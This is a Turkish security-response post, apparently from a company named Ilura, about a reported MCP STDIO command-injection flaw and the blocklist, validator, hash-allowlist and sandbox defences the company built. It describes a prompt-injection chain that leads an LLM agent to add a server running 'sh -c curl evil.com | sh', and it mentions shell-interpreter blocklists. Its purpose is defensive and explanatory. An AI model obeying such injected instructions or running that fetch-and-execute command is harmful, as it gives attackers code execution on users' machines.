güvenlik yanıtı · 18 nisan 2026

Anthropic MCP'de bulunan "RCE by design" açığına Ilura'nın yanıtı

16 Nisan 2026'da Ox Security, Model Context Protocol'ün STDIO transport'unda mimari bir command injection açığı yayınladı. Anthropic bunu "by design" olarak kabul etti ve protokol seviyesinde yama vermeyeceğini açıkladı. Ilura 48 saat içinde dört fazlı uygulama-katmanı yanıtı kurdu. Hiçbir üretim kullanıcısı etkilenmedi (Ilura şu an pre-revenue).

Neydi?

MCP SDK'ları (rmcp, python-mcp, typescript-sdk — 10 resmi SDK) kullanıcıdan gelen "command" ve "args" stringlerini doğrulama olmadan Command::new(command).args(args) çağrısına iletiyordu. Prompt injection yoluyla LLM'e "şu MCP server'ı ekle" dedirmek → malicious command: "sh" + args: ["-c", "curl evil.com | sh"] → kullanıcı onayladıysa anında RCE.

Ox Security 150 milyon indirme, 7,000+ server, 200,000+ savunmasız instance etkisi hesapladı. 30+ RCE bulgusu, 10+ CVE (ör. Windsurf CVE-2026-30615).

Ilura zaten ne yapıyordu?

Ama MCP client tarafında spawn_connection fonksiyonu command + args'ı validate etmeden subprocess açıyordu. Approval bridge kullanıcıyı "external agent eklensin mi?" diye sorsa bile, kullanıcı evet derse command doğrudan shell'e gidiyordu.

Dört fazlı yanıt (48 saat)

Faz 0 — Aynı gün (2 saat)

Inline command blocklist: 22 shell/interpreter + 5 eval flag. Yeni hata kodları ILURA-MCP-010, ILURA-MCP-011. 6 unit test; cargo test 834 → 840.

Faz 1 — Aynı gün (3 saat)

Merkezi mcp/spawn_validator.rs modülü: mutlak yol zorunlu, null byte reddi, 9 shell metacharacter (;, |, $, `, vb.), command substitution ($(…), ${…}), cross-platform path separator (/ ve \), case-insensitive binary match.

Approval Bridge risk seviyesi external agent spawn için MediumCritical yükseltildi. Kullanıcı onayı artık biometrik gerektiriyor.

tests/mcp_stdio_injection_resistance.rs — 31 integration test. Ox Security bypass kataloğunun tamamını kapsıyor.

Faz 2-A + 2-A+ — Aynı gün (4 saat)

SHA-256 binary hash allowlist (Advisory/Enforce modları). Her external agent spawn audit chain'e yazılıyor (action="external_agent_spawn", risk=CRITICAL).

macOS Seatbelt sandbox wrapper — sandbox-exec ile subprocess izolasyonu. Default deny + ro-bind + tmpfs write only. AppState plumbing + Settings UI toggle + hot-reload.

Faz 2-B-1 — Aynı gün (2 saat)

Linux bubblewrap (bwrap) wrapper — user namespace, capability drop, mount isolation. Windows placeholder (Faz 2-C'de AppContainer + Job Object).

Anthropic'in pozisyonu

"The STDIO execution model represents a secure default and sanitization is the developer's responsibility." — Anthropic, Ox Security raporunda alıntılanan

Bu tutumla Ilura'nın uygulama-katmanı savunması tek seçenek haline geldi. Biz bunu zaten zero-trust mimarimizin doğal uzantısı olarak kabul ediyoruz: protokol "developer responsibility" diyorsa, Ilura o developer'dır.

Kullanıcıya etkisi

Yol haritası

Kaynak kod referansları